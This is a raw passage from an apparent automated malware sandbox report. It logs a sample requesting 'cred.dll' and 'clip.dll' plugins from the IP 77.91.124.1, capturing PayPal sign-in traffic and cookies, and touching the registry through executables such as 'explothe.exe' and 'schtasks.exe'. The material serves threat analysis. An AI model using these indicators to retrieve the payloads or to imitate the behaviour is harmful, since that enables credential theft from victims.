"enforce_policyccpapaypal.com/1025154760384031140460139789576331067071cookie_checkpaypal.com/921743410867231801893140652076431067071d_idfdf5a0f2f2ae4bd7a4956aaedf2dda6c1698716282984paypal.com/921742410867231801893140669654531067071LANGen_US%3BUSpaypal.com/9217154870003231067108140674537331067071tsrceunifiedloginnodewebpaypal.com/9217164603315231067638140679420131067071vreXpYrS%3D1793324293%26vteXpYrS%3D1698718093%26vr%3D8361704018b0a2d1fd393906f8c6204a%26vt%3D8361704018b0a2d1fd393906f8c62049%26vtyp%3Dnewpaypal.com/921714052189443128731131054852031067078ts_cvr%3D8361704018b0a2d1fd393906f8c6204a%26vt%3D8361704018b0a2d1fd393906f8c62049paypal.com/1025130521894431287311140689185731067071" (Indicator: "paypal.com") "enforce_policyccpapaypal.com/1025154760384031140460139789576331067071cookie_checkpaypal.com/921743410867231801893140652076431067071d_idfdf5a0f2f2ae4bd7a4956aaedf2dda6c1698716282984paypal.com/921742410867231801893140669654531067071LANGen_US%3BUSpaypal.com/9217154870003231067108140674537331067071tsrceunifiedloginnodewebpaypal.com/9217164603315231067638140679420131067071vreXpYrS%3D1793324293%26vteXpYrS%3D1698718093%26vr%3D8361704018b0a2d1fd393906f8c6204a%26vt%3D8361704018b0a2d1fd393906f8c62049%26vtyp%3Dnewpaypal.com/921714052189443128731131054852031067078ts_cvr%3D8361704018b0a2d1fd393906f8c6204a%26vt%3D8361704018b0a2d1fd393906f8c62049paypal.com/102514052189443128731131195477031067078" (Indicator: "paypal.com") "enforce_policyccpapaypal.com/1025154760384031140460139789576331067071cookie_checkpaypal.com/921743410867231801893140652076431067071d_idfdf5a0f2f2ae4bd7a4956aaedf2dda6c1698716282984paypal.com/921742410867231801893140669654531067071LANGen_US%3BUSpaypal.com/9217154870003231067108140674537331067071tsrceunifiedloginnodewebpaypal.com/9217164603315231067638140679420131067071vreXpYrS%3D1793324296%26vteXpYrS%3D1698718096%26vr%3D8361704018b0a2d1fd393906f8c6204a%26vt%3D8361704018b0a2d1fd393906f8c62049%26vtyp%3Dnewpaypal.com/92171435218944312873117620913231067081ts_cvr%3D8361704018b0a2d1fd393906f8c6204a%26vt%3D8361704018b0a2d1fd393906f8c62049paypal.com/1025140521894431287311183354852031067078" (Indicator: "paypal.com") "enforce_policyccpapaypal.com/1025154760384031140460139789576331067071cookie_checkpaypal.com/921743410867231801893140652076431067071d_idfdf5a0f2f2ae4bd7a4956aaedf2dda6c1698716282984paypal.com/921742410867231801893140669654531067071LANGen_US%3BUSpaypal.com/9217154870003231067108140674537331067071tsrceunifiedloginnodewebpaypal.com/9217164603315231067638140679420131067071vreXpYrS%3D1793324296%26vteXpYrS%3D1698718096%26vr%3D8361704018b0a2d1fd393906f8c6204a%26vt%3D8361704018b0a2d1fd393906f8c62049%26vtyp%3Dnewpaypal.com/92171435218944312873117620913231067081ts_cvr%3D8361704018b0a2d1fd393906f8c6204a%26vt%3D8361704018b0a2d1fd393906f8c62049paypal.com/10251435218944312873117730288231067081" (Indicator: "paypal.com") "enforce_policyccpapaypal.com/1025154760384031140460139789576331067071cookie_checkpaypal.com/921743410867231801893140652076431067071d_idfdf5a0f2f2ae4bd7a4956aaedf2dda6c1698716282984paypal.com/921742410867231801893140669654531067071tsrceunifiedloginnodewebpaypal.com/9217164603315231067638140679420131067071vreXpYrS%3D1793324296%26vteXpYrS%3D1698718096%26vr%3D8361704018b0a2d1fd393906f8c6204a%26vt%3D8361704018b0a2d1fd393906f8c62049%26vtyp%3Dnewpaypal.com/92171435218944312873117620913231067081ts_cvr%3D8361704018b0a2d1fd393906f8c6204a%26vt%3D8361704018b0a2d1fd393906f8c62049paypal.com/10251435218944312873117730288231067081" (Indicator: "paypal.com") "enforce_policyccpapaypal.com/1025154760384031140460139789576331067071cookie_checkpaypal.com/921743410867231801893140652076431067071d_idfdf5a0f2f2ae4bd7a4956aaedf2dda6c1698716282984paypal.com/921742410867231801893140669654531067071LANGen_US%3BUSpaypal.com/9217154870003231067108140674537331067071tsrceunifiedloginnodewebpaypal.com/9217164603315231067638140679420131067071vreXpYrS%3D1793410682%26vteXpYrS%3D1698718082%26vr%3D8361704018b0a2d1fd393906f8c6204a%26vt%3D8361704018b0a2d1fd393906f8c62049%26vtyp%3Dnewpaypal.com/9217130521894431287311140684302931067071" (Indicator: "paypal.com") "enforce_policyccpapaypal.com/1025154760384031140460139789576331067071cookie_checkpaypal.com/921743410867231801893140652076431067071d_idfdf5a0f2f2ae4bd7a4956aaedf2dda6c1698716282984paypal.com/921742410867231801893140669654531067071LANGen_US%3BUSpaypal.com/9217154870003231067108140674537331067071tsrceunifiedloginnodewebpaypal.com/9217164603315231067638140679420131067071" (Indicator: "paypal.com") "enforce_policyccpapaypal.com/1025154760384031140460139789576331067071cookie_checkpaypal.com/921743410867231801893140652076431067071d_idfdf5a0f2f2ae4bd7a4956aaedf2dda6c1698716282984paypal.com/921742410867231801893140669654531067071LANGen_US%3BUSpaypal.com/9217154870003231067108140674537331067071" (Indicator: "paypal.com") "enforce_policyccpapaypal.com/1025154760384031140460139789576331067071cookie_checkpaypal.com/921743410867231801893140652076431067071d_idfdf5a0f2f2ae4bd7a4956aaedf2dda6c1698716282984paypal.com/921742410867231801893140669654531067071" (Indicator: "paypal.com") "enforce_policyccpapaypal.com/1025154760384031140460139789576331067071cookie_checkpaypal.com/921743410867231801893140652076431067071" (Indicator: "paypal.com") "enforce_policyccpapaypal.com/1025154760384031140460139789576331067071" (Indicator: "paypal.com") "ss-Protection: 1; mode=blockDC: ccg11-origin-www-1.paypal.comAccept-Ranges: bytesVia: 1.1 varnish, 1.1 varnish, 1.1 varnishDate: Tue, 31 Oct 2023 01:38:03 GMTStrict-Transport-Security: max-age=63072000; includeSubDomains; preloadX-Served-By: cache-bur-kbur8200178-BUR, cache-sjc1000091-SJC, cache-sjc1000091-SJCX-Cache: MISS, MISS, MISSX-Cache-Hits: 0, 0, 0X-Timer: S1698716283.925582,VS0,VE123Vary: Accept-EncodingServer-Timing: "traceparent;desc="00-0000000000000000000f280373e58558-c29824c1439090ce-01"";content-encoding;desc="gzip",x-cdn;desc="fastly"transfer-encoding: chunked" (Indicator: "paypal.com") "GET /web/res/9be/71f219fbd1e6dd2c9264422cf6969/js/lib/fn-sync-telemetry-min.js HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://www.paypal.com/signinAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.paypalobjects.comDNT: 1Connection: Keep-Alive" (Indicator: "paypal.com") "GET /web/res/9be/71f219fbd1e6dd2c9264422cf6969/js/lib/modernizr-2.6.1.js HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://www.paypal.com/signinAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.paypalobjects.comDNT: 1Connection: Keep-Alive" (Indicator: "paypal.com") "GET /web/res/9be/71f219fbd1e6dd2c9264422cf6969/css/contextualLoginElementalUIv2.css HTTP/1.1Accept: text/css, */*Referer: https://www.paypal.com/signinAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.paypalobjects.comDNT: 1Connection: Keep-Alive" (Indicator: "paypal.com") "GET /webcaptcha/ngrlCaptcha.min.js HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://www.paypal.com/signinAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.paypalobjects.comDNT: 1Connection: Keep-Alive" (Indicator: "paypal.com") "GET /images/shared/glyph_alert_critical_big-2x.png HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.paypal.com/signinAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.paypalobjects.comDNT: 1Connection: Keep-Alive" (Indicator: "paypal.com") "GET /web/res/9be/71f219fbd1e6dd2c9264422cf6969/js/signin-split.js HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://www.paypal.com/signinAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.paypalobjects.comDNT: 1Connection: Keep-Alive" (Indicator: "paypal.com") "GET /images/shared/icon-PN-check.png HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.paypal.com/signinAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.paypalobjects.comDNT: 1Connection: Keep-Alive" (Indicator: "paypal.com") "GET /webcaptcha/grcenterprise_v3_static.js HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://www.paypal.com/signinAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.paypalobjects.comDNT: 1Connection: Keep-Alive" (Indicator: "paypal.com") "GET /pa/js/min/pa.js HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://www.paypal.com/signinAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.paypalobjects.comDNT: 1Connection: Keep-Alive" (Indicator: "paypal.com") "HTTP/1.1 200 OKConnection: keep-aliveContent-Length: 6774Cache-Control: s-maxage=31536000, public,max-age=3600Content-Encoding: gzipContent-Type: application/javascriptEtag: W/"64ecc60d-5a30"Last-Modified: Mon, 28 Aug 2023 16:06:37 GMTPaypal-Debug-Id: 84dc4eec522baTiming-Allow-Origin: https://www.paypal.com,https://www.sandbox.paypal.comTraceparent: 00-000000000000000000084dc4eec522ba-0679dbc4b7bc2609-01DC: ccg11-origin-www-1.paypal.comAccept-Ranges: bytesDate: Tue, 31 Oct 2023 01:38:04 GMTVia: 1.1 varnishX-Served-By: cache-sjc10050-SJCX-Cache: HITX-Cache-Hits: 1X-Timer: S1698716284.216759,VS0,VE2Vary: Accept-Encoding, Accept-EncodingX-Content-Type-Options: nosniffStrict-Transport-Security: max-age=31557600" (Indicator: "paypal.com") "HTTP/1.1 200 OKConnection: keep-aliveContent-Length: 1709Cache-Control: s-maxage=31536000, public,max-age=3600Content-Type: image/pngDc: ccg11-origin-www-1.paypal.comEtag: "06e7g2A2uh9gOtrAR/AAX1pvXevadwBfhbhh/bNOQEI"Fastly-Io-Info: ifsz=5828 idim=224x200 ifmt=png ofsz=1709 odim=224x200 ofmt=pngFastly-Io-Served-By: vpop-haf2300707Fastly-Stats: io=1Paypal-Debug-Id: 016e0ab1747d7Timing-Allow-Origin: https://www.paypal.com,https://www.sandbox.paypal.comTraceparent: 00-0000000000000000000016e0ab1747d7-a53362588b87ad4b-01Accept-Ranges: bytesDate: Tue, 31 Oct 2023 01:38:04 GMTVia: 1.1 varnishX-Served-By: cache-sjc1000119-SJCX-Cache: HITX-Cache-Hits: 10580X-Timer: S1698716284.179381,VS0,VE0X-Content-Type-Options: nosniffStrict-Transport-Security: max-age=31557600" (Indicator: "paypal.com")61:T27b1,"GET /theme/Plugins/cred.dll HTTP/1.1 Host: 77.91.124.1" Response ==> HTTP/1.1 404 Not Found Date: Tue 31 Oct 2023 01:37:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 273 Content-Type: text/html; charset=iso-8859-1 with response body ==>3C21444F43545950452048544D4C205055424C494320222D2F2F494554462F2F4454442048544D4C20322E302F2F454E223E0A3C68746D6C3E3C686561643E0A....... "GET /theme/Plugins/clip.dll HTTP/1.1 Host: 77.91.124.1" Response ==> HTTP/1.1 200 OK Date: Tue 31 Oct 2023 01:37:13 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Sat 30 Sep 2023 10:50:50 GMT ETag: "16400-60691507c4d20" Accept-Ranges: bytes Content-Length: 91136 Content-Type: application/x-msdos-program with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000....... "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 1445 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Tue 31 Oct 2023 01:26:17 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 689 with response body ==>308205A10A0100A082059A3082059606092B0601050507300101048205873082058330819EA2160414D49BADF2AB3CB9FF1A3E0C506DCF192780868DAA180F32....... "GET /gtsr1/gtsr1.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: crl.pki.goog" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="cacerts" Report-To: {"group":"cacerts" "max_age":2592000 "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]} Content-Length: 854 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Tue 31 Oct 2023 00:49:49 GMT Expires: Tue 31 Oct 2023 01:39:49 GMT Cache-Control: public max-age=3000 Age: 2882 Last-Modified: Mon 18 Sep 2023 16:18:00 GMT Content-Type: application/pkix-crl Vary: Accept-Encoding with response body ==>308203523082013A020101300D06092A864886F70D01010B05003047310B300906035504061302555331223020060355040A1319476F6F676C65205472757374....... "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 724 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Tue 31 Oct 2023 01:25:07 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 765 with response body ==>308202D00A0100A08202C9308202C506092B0601050507300101048202B6308202B230819BA2160414E4AF2B26711A2B4827852F52662CEFF08913713E180F32....... "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEBde13xIZENXEmRaEb4JXwU%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 471 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Tue 31 Oct 2023 00:54:04 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 2628 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /gts1c3/fVJxbV-Ktmk.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: crls.pki.goog" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="cacerts" Report-To: {"group":"cacerts" "max_age":2592000 "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]} Content-Length: 12018 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Tue 31 Oct 2023 01:15:03 GMT Expires: Tue 31 Oct 2023 02:05:03 GMT Cache-Control: public max-age=3000 Age: 1370 Last-Modified: Tue 31 Oct 2023 00:14:32 GMT Content-Type: application/pkix-crl Vary: Accept-Encoding with response body ==>30822EEE30822DD6020101300D06092A864886F70D01010B05003046310B300906035504061302555331223020060355040A1319476F6F676C65205472757374....... "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDXjiTYwV9zDBJXr%2BzP1lEY HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 472 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Tue 31 Oct 2023 01:19:20 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 1143 with response body ==>308201D40A0100A08201CD308201C906092B0601050507300101048201BA308201B630819FA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQC4wBUGz%2FM%2FbxJoyJUH9Zs4 HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 472 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Tue 31 Oct 2023 01:29:19 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 545 with response body ==>308201D40A0100A08201CD308201C906092B0601050507300101048201BA308201B630819FA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDXjiTYwV9zDBJXr%2BzP1lEY HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 472 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Tue 31 Oct 2023 01:19:20 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 1144 with response body ==>308201D40A0100A08201CD308201C906092B0601050507300101048201BA308201B630819FA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /gts1c3/zdATt0Ex_Fk.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: crls.pki.goog" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="cacerts" Report-To: {"group":"cacerts" "max_age":2592000 "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]} Content-Length: 12266 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Tue 31 Oct 2023 01:28:20 GMT Expires: Tue 31 Oct 2023 02:18:20 GMT Cache-Control: public max-age=3000 Age: 604 Last-Modified: Mon 30 Oct 2023 23:12:10 GMT Content-Type: application/pkix-crl Vary: Accept-Encoding with response body ==>30822FE630822ECE020101300D06092A864886F70D01010B05003046310B300906035504061302555331223020060355040A1319476F6F676C65205472757374....... "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDXjiTYwV9zDBJXr%2BzP1lEY HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 472 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Tue 31 Oct 2023 01:19:20 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 1145 with response body ==>308201D40A0100A08201CD308201C906092B0601050507300101048201BA308201B630819FA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQCXtQEEuMx0gAkkEcVQ5Vat HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 472 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Tue 31 Oct 2023 00:41:27 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 3426 with response body ==>308201D40A0100A08201CD308201C906092B0601050507300101048201BA308201B630819FA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEGAy%2Fdiu84vFCW7%2FIayIdNI%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 471 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Tue 31 Oct 2023 00:56:15 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 2541 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEDiqPgG5QpuyCQrl9PBuZos%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 471 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Tue 31 Oct 2023 00:41:01 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 3460 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32.......62:T1283,"AppLaunch.exe" touched "NetworkListManager" (Path: "HKCU\CLSID\{DCB00C01-570F-4A9B-8D69-199FDBA5723B}") "AppLaunch.exe" touched "Network List Manager" (Path: "HKCU\CLSID\{A47979D2-C419-11D9-A5B4-001185AD2B89}") "AppLaunch.exe" touched "PSFactoryBuffer" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{1299CF18-C4F5-4B6A-BB0F-2299F0398E27}") "AppLaunch.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\INPROCSERVER32") "AppLaunch.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}") "AppLaunch.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "AppLaunch.exe" touched "WbemDefaultPathParser" (Path: "HKCU\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\INPROCSERVER32") "5og8kJ2.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "5og8kJ2.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}") "5og8kJ2.exe" touched "UsersFiles" (Path: "HKCU\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "5og8kJ2.exe" touched "Property System Both Class Factory" (Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}") "5og8kJ2.exe" touched "delegate folder that appears in Users Files Folder" (Path: "HKCU\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\SHELLFOLDER") "5og8kJ2.exe" touched "Shell File System Folder" (Path: "HKCU\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32") "5og8kJ2.exe" touched "Security Manager" (Path: "HKCU\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "explothe.exe" touched "Network" (Path: "HKCU\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER") "explothe.exe" touched "Recycle Bin" (Path: "HKCU\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER") "explothe.exe" touched "Control Panel" (Path: "HKCU\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER") "explothe.exe" touched "UsersLibraries" (Path: "HKCU\CLSID\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\SHELLFOLDER") "explothe.exe" touched "CLSID_SearchFolder" (Path: "HKCU\CLSID\{04731B67-D933-450A-90E6-4ACD2E9408FE}\SHELLFOLDER") "explothe.exe" touched "Microsoft OneNote Namespace Extension for Windows Desktop Search" (Path: "HKCU\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER") "explothe.exe" touched "IE History and Feeds Shell Data Source for Windows Search" (Path: "HKCU\CLSID\{11016101-E366-4D22-BC06-4ADA335C892B}\SHELLFOLDER") "explothe.exe" touched "@C:\Program Files (x86)\Microsoft Office\Office15\MAPISHELL.DLL,-110" (Path: "HKCU\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER") "explothe.exe" touched "Public Folder" (Path: "HKCU\CLSID\{4336A54D-038B-4685-AB02-99BB52D3FB8B}\SHELLFOLDER") "explothe.exe" touched "Control Panel command object for Start menu and desktop" (Path: "HKCU\CLSID\{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}\SHELLFOLDER") "explothe.exe" touched "@%systemroot%\system32\mssvp.dll,-110" (Path: "HKCU\CLSID\{89D83576-6BD1-4C86-9454-BEB04E94C819}\SHELLFOLDER") "explothe.exe" touched "DXP" (Path: "HKCU\CLSID\{8FD8B88D-30E1-4F25-AC2B-553D3D65F0EA}\SHELLFOLDER") "explothe.exe" touched "CLSID_SearchHome" (Path: "HKCU\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER") "explothe.exe" touched "Windows Search Service Media Center Namespace Extension Handler" (Path: "HKCU\CLSID\{98D99750-0B8A-4C59-9151-589053683D73}\SHELLFOLDER") "explothe.exe" touched "Other Users Folder" (Path: "HKCU\CLSID\{B4FB3F98-C1EA-428D-A78A-D1F5659CBA93}\SHELLFOLDER") "explothe.exe" touched "@%systemroot%\system32\mssvp.dll,-112" (Path: "HKCU\CLSID\{BD7A2E7B-21CB-41B2-A086-B309680C6B7E}\SHELLFOLDER") "explothe.exe" touched "CLSID_StartMenuProviderFolder" (Path: "HKCU\CLSID\{DAF95313-E44D-46AF-BE1B-CBACEA2C3065}\SHELLFOLDER") "explothe.exe" touched "CLSID_StartMenuPathCompleteProviderFolder" (Path: "HKCU\CLSID\{E345F35F-9397-435C-8F95-4E922C26259E}\SHELLFOLDER") "explothe.exe" touched "Games Explorer" (Path: "HKCU\CLSID\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}\SHELLFOLDER") "explothe.exe" touched "Computers and Devices" (Path: "HKCU\CLSID\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\SHELLFOLDER") "explothe.exe" touched "Sticky Notes Namespace Extension for Windows Desktop Search" (Path: "HKCU\CLSID\{F3F5824C-AD58-4728-AF59-A1EBE3392799}\SHELLFOLDER") "explothe.exe" touched "WinInetBroker Class" (Path: "HKCU\CLSID\{C39EE728-D419-4BD4-A3EF-EDA059DBD935}\TREATAS") "schtasks.exe" touched "TaskScheduler class" (Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}") "cmd.exe" touched "Application Registration" (Path: "HKCU\CLSID\{591209C7-767B-42B2-9FBA-44EE4615F2C7}")63:T681,"schtasks.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\TREATAS"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: 